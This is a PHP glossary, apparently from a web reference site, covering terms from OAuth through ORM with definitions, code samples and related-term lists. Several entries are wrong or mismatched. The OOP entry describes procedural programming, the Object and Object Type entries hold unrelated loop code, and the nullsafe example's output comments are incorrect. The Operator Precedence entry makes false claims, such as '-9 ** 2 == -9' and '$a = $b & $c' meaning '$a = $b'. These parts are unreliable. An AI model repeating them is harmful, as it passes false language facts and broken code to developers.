// c10k: see c10k.ini — the concurrency problem, not a strict numeronym
// but universally treated as one in server engineering discourse
?>
See Also
Related
OAuth
OAuth is an open standard for access delegation, commonly used to grant applications access to user information on other services without exposing passwords. OAuth 2.0 is the current version, defined in RFC 6749.
OAuth is typically implemented via libraries such as league/oauth2-server for building an authorisation server, or league/oauth2-client for consuming third-party OAuth 2.0 providers such as Google, GitHub, or Facebook.
See Also
Related
- Authentication
- Security
- JSON Web Token (JWT)
- Application Programming Interface (API)
- Protocol
- Token
- SplSubject
- Multi-Factor Authentication (MFA)
- OpenID Connect (OIDC)
- Security Assertion Markup Language (SAML)
- Single Sign On (SSO)
Related packages
Obfuscation
Obfuscation refers to the practice of deliberately making something difficult to understand or obscure.
In the context of web security, code obfuscation is a technique used to make source code more difficult to filter and identify as a threat. The primary goal is not to improve the program’s functionality but rather to hinder reverse engineering, the extraction of sensitive information from the code.
In the context of development, obfuscation leads to making the code difficult to read, so that it cannot be maintained or modified for any purpose. This is a weak strategy to protect intellectual property for editors, which usually rely on encryption of the code. Obfuscation may be achieved by using very generic terms, abbreviations, unknown languages, abstract naming schemes.
<?php
// built with base64_encode($_GET);
$v = "X0dFVA==";
// obfuscated code : this displays $_GET
print_r($\{base64_decode($v)});
// This function does not help its caller, unless the definition is read.
echo foo('yes', 'no');
function foo($cat, $dog) {
// very simple feature, with misleading names
return $cat . ' and ' . $dog;
}
?>
See Also
Related
Object API
The Object API is a set of classes, interfaces, enums and traits to execute features.
The alternative is the function API, which is a set of functions to execute features.
Some PHP extensions have a dual object and function API, for example mysqli, although they are rare.
See Also
Related
Object Injection
Object injection happens when a string is deserialized to recreate an object, inside PHP, while the string is controlled by the attacker.
The general synopsis is the following:
- PHP serialize an object
- The serialized string is transmitted to the user, then back to PHP, via cookies, hidden fields, or any storage
- PHP deserialize the object
While in the hand of the user, the data was doctored to retain its format validity, but with values that are now controlled by the attacker.
See Also
Related
Object Invasion
PHP allows objects of one class to access private structures of an object of the same class.
This is useful when cloning or importing objects with __set_state(): within the same class, those methods can create new objects and assign all their properties.
This feature break OOP encapsulation: even when using private visibility, it is possible to access then from outside the object.
<?php
class Elephpant {
private $trunkLength = 0;
// accessing a different object
function trumpet(Elephpant $elephpant) {
$elephpant->trunkLength = $this->trunkLength;
}
function __set_state($array) {
$object = new self();
$object->trunkLength = $array['trunkLength'];
return $object;
}
}
?>
See Also
- Accessing private properties from other instances
- Class Invasion Both Ways
- How to easily access private properties and methods in PHP
Related
Related packages
Object Lifecycle
The lifecycle of an object is the sequence of stages an instance goes through, from its creation to its destruction.
An object is born when new is called: PHP allocates it, then runs its __construct() method with the supplied arguments. While it lives, the object may be duplicated with clone, which triggers __clone() if it is defined, or turned into a string, an array, or plain data through magic methods such as __toString(), __serialize() and __unserialize(), or the older __sleep() and __wakeup().
An object dies when its last reference disappears, whether by unset(), by going out of scope, or by being overwritten. PHP’s reference counting then reclaims it immediately, calling __destruct() if it is defined. Objects caught in a reference cycle are not freed right away: they wait for the garbage collector to run.
Unlike languages with an explicit destroy step, PHP objects have no forced end of life during normal execution: the engine handles it automatically, though the final destruction of any surviving objects is guaranteed to happen at shutdown, at the latest.
<?php
class Handle {
private $resource;
function __construct(string $path) {
$this->resource = fopen($path, 'r');
}
function __clone() {
// duplicate the underlying resource instead of sharing it
$this->resource = fopen(stream_get_meta_data($this->resource)['uri'], 'r');
}
function __destruct() {
fclose($this->resource);
}
}
$a = new Handle('/tmp/data.txt');
$b = clone $a;
unset($a); // __destruct() runs for $a's resource
unset($b); // __destruct() runs for $b's resource
?>
See Also
- PHP Constructors and Destructors: Practical Patterns for Predictable Object Lifecycles
- PHP Constructor & Destructor
Related
- Constructor
- Destructor
- __clone() Method
- __sleep() Method
- __wakeup() Method
- __serialize() Method
- __unserialize() Method
- Reference Count
- Garbage Collection
- Lifecycle
- Shutdown
- Object
- instance
Object Nullsafe Operator ?->
The object nullsafe operator is an operator which gives access to properties and methods of an object.
Depending on the context, those properties and methods must be public or protected.
Object Nullsafe Operator is directly related to the Object operator: the difference is that the former keeps on executing when the support object is null, while the second stops with a fatal error.
<?php
$array = ['a' => (new stdClass)?->a, ];
// displays 1
echo $array['a']?->a;
// displays null, so nothing
echo $array['b']?->a;
?>
See Also
Related
Object Operator ->
The Object Operator is the operator to access properties and methods from an object. It is ->, sometimes called the arrow.
Depending on the context, those properties and methods must be public, protected or private. When the visibility is not valid, or if the method doesn’t exists, PHP yields a Fatal error. Accessing an undefined property is a warning.
Object Nullsafe Operator is directly related to the Object operator: the difference is that the former keeps on executing when the support object is null, while the second stops with a fatal error.
<?php
class Elephpant {
public $trunkLength = 1;
function trumpet() {
return __CLASS__;
}
}
$elephpant = new Elephpant();
// displays 1
echo $elephpant->trunkLength;
// displays \Elephpant
echo $elephpant->trumpet();
?>
See Also
Related
- Null Safe Object Operator
- Scope Resolution Operator ::
- Double Arrow
- Nullsafe
- Object
- Method
- Properties
- Object Nullsafe Operator ?->
Object Persistence
Object persistence is the feature that keeps an object available between two different PHP requests, on a web server.
In practice, this is achieved by saving a current object, with its properties and data, so that it may be reconstructed later.
This is achieved natively with the serialize() and unserialize() functions.
The text representation of the object may then be stored in various medium, such as files, sessions, database.
It is also possible to achieve object persistence by using a different format, such as JSON, XML, CSV, etc. The whole process works similarly to PHP’s own process, though it has to be reconstructed entirely.
Object persistence may save the values of the object’s property, such as scalars or arrays; or it may remove data, and reconstruct it later, such as database connections, composed objects or references.
<?php
class User {
public $name;
public $email;
public function __construct($name, $email) {
$this->name = $name;
$this->email = $email;
}
}
// Create an object
$user = new User('Damien', 'damien@exakat.io');
// Serialize the object
$serializedUser = serialize($user);
// Save to a file (or database)
file_put_contents('user.txt', $serializedUser);
// Later, reconstruct the object
$loadedUser = unserialize(file_get_contents('user.txt'));
echo $loadedUser->name; // Outputs: Damien
?>
See Also
Related
Object Syntax
The object syntax is a coding style that involves using the object operator ->, and, to a lesser extent, the static operator ::.
Object syntax is often opposed to the array syntax, which relies on arrays and the square brackets [ ]: it uses string index as properties and functions instead of methods.
Object syntax is also opposed to resource: some PHP extensions produce resources, which are usually fed as the first argument into dedicated functions. The object syntax hides the resource in an object, and makes use of method calls, with similar names and parameters.
<?php
$object = new Stdclass();
$object->property = 1;
echo $object->property;
?>
See Also
Related
Object Type
object is a PHP type, which represents an object of any class, including anonymous classes.
object may be used with properties, arguments and returntype, but not with instanceof.
<?php
foreach([11,12,13] as $id => $value) {
print "$id => $value\n";
}
for ($i = 1; $i <= 10; $i++) {
echo $i;
}
$i = 10;
while ($i <= 10) {
echo $i++;
}
$i = 10;
do {
echo $i++;
} while ($i <= 10);
$a = new A;
var_dump($a instanceof object);
?>
See Also
Related
Object
PHP includes a complete object model. Some of its features are: visibility, abstract and final classes and methods, additional magic methods, interfaces, and cloning.
object is also a PHP type, which represent an object of any class.
<?php
foreach([11,12,13] as $id => $value) {
print "$id => $value\n";
}
for ($i = 1; $i <= 10; $i++) {
echo $i;
}
$i = 10;
while ($i <= 10) {
echo $i++;
}
$i = 10;
do {
echo $i++;
} while ($i <= 10);
$a = new A;
var_dump($a instanceof object);
?>
See Also
Related
- Visibility
- Abstract Keyword
- Final Keyword
- Magic Methods
- Interface
- Clone
- Type System
- Dereferencing
- PHP Natives
- Pseudo-type
- Special Types
- Handle
- Identity
- instance
- instanceof
- is_a()
- SplObjectStorage
- SplStorageObjects
- State
- Function Subscripting
- Lazy Objects
- Object Invasion
- Object Lifecycle
- Object Syntax
Oblic Quotes
Oblic quotes, also called backticks, \` were used to make a shell call to the operating system. They are deprecated since version 8.5, and they have no more specific usage.
\` is a character, that needs to be balanced, when used in code syntax.
<?php
echo `ls -hla`;
// moder alternative
echo shell_exec('ls -hla');
?>
See Also
- PHP RFC: Deprecate backtick operator
- Backtick Operator to Run Shell Command is Deprecated in PHP 8.5
Related
Observer Pattern
The Observer pattern defines a one-to-many dependency between objects: when one object changes state, all registered dependents are notified automatically.
PHP provides built-in interfaces SplSubject and SplObserver to implement this pattern natively. It is also the basis for event-driven systems, message buses, and reactive frameworks.
<?php
class EventSource implements SplSubject {
private SplObjectStorage $observers;
private string $state = '';
public function __construct() {
$this->observers = new SplObjectStorage();
}
public function attach(SplObserver $observer): void {
$this->observers->attach($observer);
}
public function detach(SplObserver $observer): void {
$this->observers->detach($observer);
}
public function notify(): void {
foreach ($this->observers as $observer) {
$observer->update($this);
}
}
public function setState(string $state): void {
$this->state = $state;
$this->notify();
}
}
?>
See Also
Related
Observer Design Pattern
The observer is an architectural pattern, where objects register to get notified when events happen to a specific object. It is also known as the listener pattern.
There is a native interface call SplObserver, coupled with the SplSubject, to implement such pattern.
See Also
Related
Open Closed Principle (OCP)
The open–closed principle states that classes should be open for extension, but closed for modification.
The OCP is a general principle, that is applicable to PHP’s structures.
See Also
Related
Octal Integer
Integers can be specified in octal, or base 8, notation. Octal integer syntax starts with 0o, zero-o, and only contains digits from 0 to 7.
Initially, octal integers were formatted by simply starting with a initial 0. This features is still available, yet should be replaced with the less confusing syntax with 0o.
<?php
// 12
$octal = 0O14;
$octal = 014;
?>
See Also
Related
Offensive Programming
Offensive programming is a programming approach where the code is written code assuming that internal states should never go wrong, and don’t have to be guarded against. Only external input, such as user input, should be thoroughly validated before usage.
Offensive programming requires drawing a line between internal and external data: while user input is obviously to be validated, there must be a clear rule for data coming from related services such as database, remote servers, API, file systems.
<?php
$number = random_int(0, 10);
// This handle cases where no entropy sources are found
?>
See Also
Related
Offline Test Suite
An offline test suite is a set of tests that run without network access. Every external dependency, such as an HTTP API, a database service or a message queue, is replaced by a test double or a canned response.
Offline tests are fast, can run on a laptop without credentials, and do not fail because a remote service is down or rate limited. They are reproducible: the same code gives the same result every time.
An offline suite does not prove that the code works with the real service. That check belongs to a separate, optional live sandbox or integration suite, and to contract tests.
See Also
Related
Offset
The term offset refers to the position or index of an element within an array or a string. Offsets are usually integers.
For strings, offsets are zero-based and count bytes rather than characters, so multi-byte encodings such as UTF-8 require mb_substr() or similar multibyte-aware functions to index by character instead of by byte. Since PHP 7.1, negative string offsets are supported and count from the end of the string; $string[-1] is the last byte; negative offsets on plain arrays, by contrast, are treated as literal array keys and do not wrap around to the end.
Offsets are used throughout the language: substr(), strpos(), and array_slice() all accept a starting offset, and often an optional length, and classes implementing the ArrayAccess interface, with offsetGet(), offsetSet(), offsetExists(), offsetUnset(), let objects support the $obj[$offset] square-bracket syntax like a native array.
<?php
$array = ['a', 'b', 'c'];
$offset = 1;
echo $array[$offset]; // b
$string = 'ABC';
$offset = 2;
echo $string[$offset]; // C
?>
See Also
Related
Open Knowledge Graph (OKG)
An Open Knowledge Graph, OKG, is a knowledge graph, that is, a set of entities and their relationships stored as a graph, that is made publicly available for anyone to query, reuse, and extend.
Openness typically covers both the data, published under an open license, and, often, the schema or ontology used to structure it. Well-known examples include Wikidata and DBpedia, which extract and publish structured facts derived from Wikipedia and other public sources.
In the codebase, an open knowledge graph may be consumed through a public SPARQL endpoint or REST/GraphQL API, or built locally from project data, code, or documentation to represent entities and their relationships.
See Also
Related
On Premise Software
On-premise software, sometimes abbreviated as on‑prem, refers to software that is installed and runs on computers and servers within the physical premises of the organization that uses it, rather than on remote servers in a cloud provider’s data center.
On-premise software is self‑hosted: the customer owns, operates, and maintains all hardware, networking, and the software itself On-premise software hands over full control: the organization has complete control over data, security, configuration, and updates On-premise software favors customer responsibility: the customer handles installation, upgrades, backups, security patches, and hardware lifecycle. Often, this is done with help from the editor.
See Also
Related
One Liner
A one-liner refers to a concise and often single expression that accomplishes a specific task. It’s a shorthand way of expressing functionality in a compact form.
One-liners are supposed to fit on one line. The line is also supposed to be limited in size.
One-liners tend to pack a lot of operations in one expression. When used aggressively, one-liners become less readable, and more complex.
Some commands have a short and a long syntax, such as if-then-else and the ternary operator condition ? then : else.
<?php
// one-liner
$condition ? doSomething() : doSomethingElse();
// equivalent to above, not a one liner
if ($condition) {
doSomething();
} else {
doSomethingElse();
}
?>
See Also
Related
One-shot
One-shot is an I/O watcher mode where the handler fires exactly once and is automatically deregistered after the first event. Subsequent activity on the same stream does not trigger the callback until the watcher is explicitly re-added.
This avoids the need for manual cleanup and is useful for request/response patterns where a stream is expected to produce a single meaningful event: accept one connection, read one response, write one payload.
Without one-shot semantics, a persistent watcher must be explicitly removed inside its own callback to prevent it from firing again, which is error-prone under concurrent conditions.
One-shot maps to EPOLLONESHOT in the Linux epoll API. In version 8.6, the Io\Poll API exposes this behaviour through the Event::OneShot enum case, combinable with Event::Read or Event::Write.
<?php
use Io\Poll\Context;
use Io\Poll\Event;
$context = new Context();
// Fires once then the watcher is removed automatically
$context->add($stream, Event::Read | Event::OneShot, function ($handle) {
$data = fread($handle->stream, 8192);
echo 'Received: ' . $data;
// No need to call $context->remove() manually
});
$context->run();
?>
See Also
Related
one
One is the 1 integer. One is part of the truthy values: it is the equivalent of true.
Multiplying, or dividing, a string by 1 turns it into an integer, just like the cast operator (int) does.
1 is one of the two valid index when building a callback with an array, along with 0.
1 is a classic magic number, although it has so many uses that it is usually look over, as generating too many false positives or scattered issues.
<?php
$one = 1;
$four = 4 * 1;
?>
See Also
Related
- False
- Callbacks
- zero
- Multiplication
- Callable Arrays
- Array Callback
- Minus One -1
- Truthy
- Magic Numbers
- Logarithm
- Post-increment
- zend\.assertions
Onion Architecture
Onion Architecture is a software architecture pattern introduced by Jeffrey Palermo. It organizes code in concentric layers, like an onion, to enforce separation of concerns and keep the core business logic independent from external systems like databases, UI, or frameworks.
See Also
Related
Related packages
OOP (Object Oriented Programming)
Procedural Programming is a programming paradigm where a program is structured as a series of step-by-step instructions, using procedures, or functions, and control flow statements like loops, conditionals, and function calls. It focuses on ‘what to do next’, in a sequential, top-down manner.
PHP supports functions and global variables needed for Functional programming.
A lot of legacy PHP code is written in a procedural style. It usually evolved to OOP, Object Oriented Programming.
See Also
Related
- Functional Programming (FP)
- Encapsulation
- Paradigm
- Procedural Programming
- Var
- Anemic Domain Model
- Data Hiding
- Modifier
- Polymorphism
- Rich Domain Model
OPcache Preloading
OPcache preloading, introduced in version 7.4, allows loading PHP files into shared memory at PHP-FPM startup so they are permanently available to all worker processes without any parsing overhead on each request.
A preload script is specified with opcache.preload in php.ini. All files required or compiled in that script are cached for the lifetime of the PHP-FPM master process. Changes to preloaded files require a PHP-FPM restart to take effect.
Preloading is most effective for framework core files, base classes, and heavily-used libraries.
<?php
// preload.php, as referenced in php.ini:
// opcache.preload = /var/www/preload.php
// opcache.preload_user = www-data
// Preload all PHP files from the framework kernel
$dir = new RecursiveDirectoryIterator('/var/www/vendor/symfony/http-kernel');
$iter = new RecursiveIteratorIterator($dir);
foreach ($iter as $file) {
if ($file->getExtension() === 'php') {
opcache_compile_file($file->getPathname());
}
}
?>
See Also
Related
Opcache
OPcache is a cache for PHP byte code. OPcache improves PHP performance by storing precompiled script bytecode in shared memory, thereby removing the need for PHP to load and parse scripts on each request.
See Also
Related
- Opcode
- Just In Time (JIT)
- Vertical Scaling
- Compile-time Evaluation
- Memory Arena
- OPcache Preloading
- Shared Memory
- APCu
- Cache Warming
- Cold Cache
- Compiler Optimized Function
Opcode Specialisation
Opcode specialization refers to the process of optimizing how PHP’s Zend Engine executes opcodes, by tailoring them to specific contexts, data types, or execution paths. This is part of PHP’s internal optimization strategy, especially in recent versions, such as 8.0 and more recent, to improve performance and reduce overhead.
See Also
Related
Opcode
Opcodes, short for operation codes, refer to low-level instructions that the PHP interpreter uses to execute PHP scripts. When PHP processes a code, it goes through several stages of compilation and interpretation. One of these stages involves translating the human-readable PHP source into a series of opcodes, which are then executed by the PHP engine.
Generally speaking, coders never come close to opcodes. The only occasion is when configuring the opcode cache: this cache keeps the generated opcodes in memory, and skips the stages of compilation as long as the source is not changed.
See Also
Related
- PHP Engine
- Ahead Of Time
- Opcache
- Opcode Specialisation
- Compiler
- Interpreted
- OPcache Preloading
- Source Code
- Intermediate Representation (IR)
Open Class
Open classes allow external code to add or replace methods on an existing class after it has been defined, including built-in or third-party classes. This is sometimes called controlled monkey-patching when the language provides guard-rails to avoid unintended conflicts.
Languages such as Ruby expose this feature natively: any class can be reopened with class X ... end and new methods are merged in. The class remains open throughout the program’s lifetime, so any part of the codebase can contribute methods.
PHP does not support open classes. Once a class is defined its set of methods is fixed. The closest approximations are:
- Traits, which must be composed at the point of class definition, not after.
__call/__callStaticmagic methods, which dispatch unknown method calls dynamically but without type-level visibility.- Wrapper or decorator classes that delegate to the original.
None of these allow retrofitting a method onto a class that has already been fully declared.
<?php
// PHP does not support reopening a class.
// The following is illustrative of what the feature would look like,
// but it is a syntax error in PHP.
class MyString {
public function upper(): string { return strtoupper($this->value); }
}
// Hypothetical open-class syntax (NOT valid PHP):
// open class MyString {
// public function lower(): string { return strtolower($this->value); }
// }
?>
See Also
Related
Open Data
Open data is information, often collected or produced by public bodies, that is made freely available for anyone to access, use, and redistribute, usually under a permissive or open license and with no more than a reasonable reproduction cost.
To qualify as open, data must also be published in a structured, machine-readable format, such as CSV, JSON, or XML, so that it can be processed automatically rather than only read by a human. It is frequently exposed through a public API alongside static file downloads.
PHP applications typically consume open data with an HTTP client, such as curl or Guzzle, and then parse the response with native functions like json_decode(), or with SplFileObject for CSV feeds.
<?php
$json = file_get_contents('https://data.example.gov/api/dataset.json');
$dataset = json_decode($json, true);
foreach ($dataset['records'] as $record) {
echo $record['name'] . PHP_EOL;
}
?>
See Also
Related
Open Source
Open source means that the source code of software is publicly available, and people are allowed to view, use, modify, and share it under a specific license.
PHP is using an open source licence. It was under the PHP licence until 2026: that licence was OSI approved. Later, the licence was turned to BSD.
PHP software may use a different licence than PHP itself.
Open source is often related to free, as in freedom to access the code and modify it. It needs to be distinguished from free as in gratis, or without fee, although both are often going together.
See Also
Related
- Closed Source
- Licence
- Vendor Lock-in
- Contribution
- Community
- Free
- Content Management System (CMS)
- Forum
- Library
- Proprietary Source
- Source Code
Open Tag
PHP commands are placed between the PHP tags: <?php and ?>. The first tag is called the open tag.
The open tag is mandatory for PHP to execute the code. Anything before the open tag is output as is, without modification.
There is another open tag, called echo tag. <?= starts PHP execution, and outputs the first command.
<?php
// here, PHP code
// the closing tag
?>Here, raw text, always displayed
<?php
// more PHP code
// No final closing tag
See Also
- PHP Short Open Tag: Convenient Shortcut or Short Changing Security?
- What does ‘<?=’ short open tag mean in PHP?
Related
open_basedir
The open_basedir directive limits access to files in a list of provided directories, and their nested directories. That directive can only be set in the php.ini.
Functions such as fopen(), file_get_contents, file_put_contents, curl_get() when working on local files, zip_open(), etc. are affected.
See Also
Related
OpenID Connect (OIDC)
OpenID Connect, aka OIDC, is an identity layer built on top of OAuth 2.0. Where OAuth 2.0 only grants delegated access to resources, OpenID Connect adds a standardized way for a client to verify who the user is, by requesting an ID Token, a signed JWT containing the user’s identity claims, alongside the usual access token.
OpenID Connect is commonly used to implement ‘Login with…’ buttons, single sign-on, SSO, across web and mobile applications, relying on identity providers such as Google, Microsoft, or Keycloak.
PHP libraries such as jumbojett/openid-connect-php implement the client side of the protocol: discovery of the provider’s configuration, redirection to the authorization endpoint, and validation of the returned ID Token.
<?php
use Jumbojett\OpenIDConnectClient;
$oidc = new OpenIDConnectClient(
'https://accounts.example.com',
'client-id',
'client-secret'
);
$oidc->authenticate();
$name = $oidc->requestUserInfo('name');
?>
See Also
Related
- OAuth
- Single Sign On (SSO)
- Security Assertion Markup Language (SAML)
- JSON Web Token (JWT)
- Authentication
- Token
Related packages
OpenSSL
The OpenSSL Project develops and maintains the OpenSSL software - a robust, commercial-grade, full-featured toolkit for general-purpose cryptography and secure communication.
The library is integrated into PHP as an extension. It provides a lot of functions and features to the language.
<?php
// Example from php.net documentation
// $data is assumed to contain the data to be signed
// fetch private key from file and ready it
$pkeyid = openssl_pkey_get_private("file://src/openssl-0.9.6/demos/sign/key.pem");
// compute signature
openssl_sign($data, $signature, $pkeyid);
// free the key from memory
openssl_free_key($pkeyid);
?>
See Also
Related
OpenSwoole
OpenSwoole is a PIE extension providing an event-driven, asynchronous, coroutine-based programming framework for PHP. It is a community fork of Swoole, created after a licensing and governance disagreement, and both projects share most of their API and internals.
OpenSwoole replaces PHP’s traditional request/response, process-per-request model with a long-running server process: an HTTP, WebSocket, or TCP/UDP server that stays resident in memory, handles many connections concurrently through coroutines, and dispatches blocking calls, such as database queries or file I/O, transparently as non-blocking, cooperative tasks. This removes most of the per-request bootstrap cost, such as re-parsing configuration or re-establishing framework state, that a classic PHP-FPM request pays every time.
Because the process is long-running, code that assumes a fresh, request-scoped global state, a common assumption in traditional PHP applications, must be written carefully to avoid leaking state between requests handled by the same worker.
<?php
$server = new OpenSwoole\Http\Server('0.0.0.0', 9501);
$server->on('request', function ($request, $response) {
$response->header('Content-Type', 'text/plain');
$response->end('Hello from OpenSwoole' . PHP_EOL);
});
$server->start();
?>
See Also
Related
Related packages
OpenTelemetry
OpenTelemetry is a PIE extension that provides the low-level instrumentation hooks needed to generate distributed traces, metrics, and logs from PHP applications, following the vendor-neutral OpenTelemetry standard. It captures function entry and exit, timing, and exceptions at the engine level through observer hooks, which the pure-PHP open-telemetry/opentelemetry Composer package then turns into spans, exports, and context propagation.
Distributed tracing links related operations across process and service boundaries: a single incoming HTTP request might touch an application server, a database, a queue, and an external API, and OpenTelemetry ties every one of those operations into a single trace using a shared trace ID passed through headers.
The extension exists because auto-instrumentation, tracing library calls such as PDO or Guzzle without the developer manually wrapping every call, needs to hook into the Zend Engine at a level that pure PHP userland code cannot reach efficiently.
<?php
// Requires composer require open-telemetry/sdk open-telemetry/exporter-otlp,
// which depend on ext-opentelemetry for auto-instrumentation hooks.
$tracer = (new \OpenTelemetry\SDK\Trace\TracerProviderFactory())
->create()
->getTracer('example-app');
$span = $tracer->spanBuilder('handle-request')->startSpan();
$scope = $span->activate();
try {
// ... application code ...
} finally {
$span->end();
$scope->detach();
}
?>
See Also
Related
Related packages
Operand
An operand is an argument for an operator. It applies to any of the operand: to differentiate them further, they are named with their position: first, second, etc., or their name.
<?php
// One operand
$b = !$a;
// two operands
$a = 1 + 3;
// Three operands
$c = $a ? 2 : 4;
?>
See Also
Related
Operator Overloading
Operator overloading is the feature that creates custom usage of operators. For example, C++ allows the redefinition of + for specific object types. Then, new A + new A works.
PHP does not support operator overloading in the userland. It is possible to achieve it in extensions: for example, BCmath allows math operations on its objects.
See Also
Related
Operator Precedence
The operator precedence dictates in which order the operators in a same sequence are executed.
For example, in the code 1 + 2 * 3, the order is the mathematical order: multiplication has precedence over addition. The results is 7, not 9.
Operators have different precedence: ., dot, has a lower priority than addition + and -.
Precedence may lead to unexpected behavior. For example, -9 ** 2 == -9, because - has lower precedence than **, and PHP doesn’t parse negative numbers in one pass.
Also, $a = $b & $c; means that $a = $b;, because = has a higher priority than &.
<?php
// 7, not 9
$a = 1 + 2 * 3;
// 11
$a = 4 * 2 + 3;
// equivalent to !($a instanceof aClass)
// ! has lower precedence than instanceof
$b = !$a instanceof aClass;
?>
See Also
Related
Operators
An operator takes one or more values, or expressions in programming jargon, and yields another value, so that the construction itself becomes an expression.
<?php
// not operator, unary
$a = !$b;
// plus operator
$c = $d + 2;
// ternary operator
$e = $d ? 3 : 2;
?>
See Also
Related
- Short Tags
- Short Syntax
- Operator Overloading
- Comparison
- Operand
- Operator Precedence
- Precedence
- Error Suppression
- instanceof
- integer
- String
- Variables
- Concatenation \.
- Identical Operator
- @, No Scream Operator
- Post-increment
- Pre-increment
- Ternary Operator
Opinionated
A tool, library, or framework is called opinionated when it enforces a specific way of solving a problem. That may be conventions for file structure, naming, architecture, or workflow, with little or no configuration to deviate from them. This is opposed to being unopinionated, or agnostic, where the tool stays neutral and leaves every such decision to the developer.
Opinionated tools trade flexibility for consistency and speed: once its conventions are learned, less boilerplate and fewer decisions are needed to become productive, and a codebase built with it stays predictable across an entire team. Convention over configuration is the principle usually behind this design choice. The downside surfaces when a project’s needs diverge from the tool’s assumptions, and working around them becomes harder than it would have been with an unopinionated alternative.
In the PHP ecosystem, Laravel is generally considered more opinionated than Symfony, which favors composability and bring-your-own-components. PHPUnit is opinionated about the naming and location of test methods, while Behat is opinionated about describing behavior in Gherkin.
See Also
- Symfony vs. Laravel: Framework Choice for PHP Projects
- Laravel vs. Symfony: Clash of the PHP Frameworks
Related
Optimisation
Optimisation is the act of refactoring code to reduce the amount of resources used during execution. Optimisation may target time, as faster execution, memory, as using less of it, or specific resources, such as speeding up recalculations, or reducing the time to reach a result.
Optimisation is called micro-optimisation when the resulting code is both measurably optimized, and in the end, not significant for a specific purpose.
<?php
// slow code
for($i = 0; $i < count($array); ++$i) {
doSomething($i);
}
// speed improvement of over 50% of the loop
$nb = count($array);
for($i = 0; $i < $nb; ++$i) {
doSomething($i);
}
?>
See Also
Related
Option Type
An option type, called Option in Rust and OCaml or Maybe in Haskell, is a native sum type with exactly two cases. Either a value is present, wrapped as Some(x) or Just x; either it is absent, represented as None or Nothing. It is used instead of a nullable type to represent the possible absence of a value.
The key difference with a plain nullable type is enforcement: the wrapped value cannot be used directly. It must first be unwrapped through pattern matching or a combinator such as map/and_then, so the compiler guarantees that the None/Nothing case is always considered before the contained value is accessed.
PHP has no option type. Absence of a value is represented with null, combined with a nullable type declaration such as ?string. The nullsafe operator ?-> and null coalescing operator ?? make chaining safer, but nothing prevents dereferencing a possibly-null value directly and triggering a runtime error; the language does not force the check the way an option type does.
<?php
function findUser(int $id): ?User {
return $id === 1 ? new User('Ada') : null;
}
// Nothing forces this check: omitting it just yields a runtime error.
$user = findUser(2);
echo $user?->name ?? 'not found';
?>
See Also
Related
Option
An option represents a value that may or may not be present. For example, optional values are typically expressed as nullable types ?type, default parameter values, or named arguments with defaults.
Some functional libraries introduce an explicit Option or Maybe type to avoid null references entirely.
By extension, options are possible alternatives to execute a feature. It may tweak the way it is performed, the format of the result, or any other behavior. Such options often have a default configuration which makes them easy to adopt, until the need for specialisation arise.
Options are sometimes used as synonyms as configuration or directive: this is the case when the option has to be provided and has no default. An initial choice must be done.
<?php
// Nullable type: value may be absent
function findUser(?int $id): ?User {
if ($id === null) {
return null;
}
return User::find($id);
}
// Default value as option
function greet(string $name = 'World'): string {
return 'Hello, ' . $name;
}
?>
See Also
Related
Optional Parameter
Optional parameters are parameters fitted with a default value. They may then be skipped when the function is called.
Optional parameters should be the last parameters: otherwise, PHP will have trouble figuring out which parameter uses which value.
<?php
function trumpet($trunk, $tusk = 2) { }
// $tusk will be 2, using the default value
trumpet(1);
// $tusk will be 3
trumpet(1, 3);
?>
See Also
Related
Oracle
Oracle is a relational database management system developed by Oracle Corporation. It is one of the most widely used enterprise databases, known for its robustness, advanced SQL features, and scalability.
PHP connects to Oracle databases via the OCI8 extension called ext/oci8, which provides functions prefixed with oci_ such as oci_connect(), oci_parse(), oci_execute(), and oci_fetch_array(). Oracle can also be accessed via PDO using the pdo_oci driver.
Oracle-specific features that PHP developers encounter include: sequences in lieu of auto-increment, ROWNUM for pagination, PL/SQL stored procedures, and CLOB/BLOB handling for large data.
The term oracle is also used in testing to describe the mechanism by which a test determines whether its output is correct, and in cryptography for an attacker-accessible function that reveals partial information about a secret.
<?php
$conn = oci_connect('user', 'password', 'localhost/XE');
$stmt = oci_parse($conn, 'SELECT id, name FROM users WHERE id = :id');
oci_bind_by_name($stmt, ':id', $userId);
oci_execute($stmt);
while ($row = oci_fetch_array($stmt, OCI_ASSOC)) {
echo $row['NAME'];
}
?>
See Also
Related
Order Of Execution
The order of execution is the sequence that PHP uses to run the code. While a single file means that commands are executed one after the other, there are several PHP operations that makes that order much more elaborate.
PHP processes a file in two steps before executing it. In the first step, the engine parses and compiles the source into opcodes. During this compilation step, unconditionally declared top-level functions and classes are registered early, as in early binding, making them available to the whole file regardless of their textual position. In the second step, the opcodes are executed sequentially, top to bottom.
As a result, the rules for what must be defined before use depend on the kind of entity:
- Functions: a function declared unconditionally at the top level is early-bound and can be called before its definition in the file. A function declared inside a conditional block or inside another function is only available after that declaration is reached at runtime
- Classes: an unconditionally declared top-level class is also early-bound. A conditionally declared class must be defined before use, or PHP will attempt to load it via autoloading. Autoloading gives classes a second chance that functions do not have
- Constants:
constdeclarations at the top level are evaluated at compile time and are available immediately.define()calls are runtime statements and only take effect when execution reaches them - Variables: a variable must be assigned before it is read. Reading an uninitialized variable produces a notice and yields
null. PHP has no variable hoisting at all - Included files: code from an
includeorrequireruns at the point where the statement is reached, not before. Any definitions in the included file become available from that point onward.
<?php
// Works: top-level function, early-bound by the compiler
trumpet();
function trumpet() { echo 'trumpet'; }
// Fails at runtime: function is inside a conditional, not early-bound
// forage(); // Fatal error: call to undefined function
if (true) {
function forage() { echo 'forage'; }
}
forage(); // works only after this point
// Works: const is compile-time
echo MY_CONST;
const MY_CONST = 42;
// Fails: define() is a runtime call
// echo MY_RT_CONST; // undefined constant
define('MY_RT_CONST', 99);
echo MY_RT_CONST; // works only after this point
// Classes: unconditional top-level class is early-bound
$obj = new Elephpant();
class Elephpant {}
// Classes: conditional class requires autoload or prior declaration
if (true) {
class Calf {}
}
$obj2 = new Calf(); // works only after this point
?>
See Also
Related
- Type Checking
- Linting
- Compile
- Early Binding
- Class Hoisting
- Class Autoloading
- Constants
- include
- Execution
- Hoisting
- Global Code
Object Relational Mapping (ORM)
Object Relational Mapping is a tool that bridges the OOP world to databases: in general, and SQL in particular.
As its definition implies, such tool is able to take data from an object, and place it in a database’s table. The transfer may be straightforward, when the object is stored in one table. Or, it may be complex, when the same data are spread over multiple tables.
PHP has several ORM: Doctrine, Redbean, Eloquent, Propel, etc..
See Also
Related
- Database Abstraction Layer (DBAL)
- Code Generator
- Data Mapper
- N+1 Query Problem
- Structured Query Language (SQL)
- Doctrine
- Magento
- Metadata
- Soft Delete
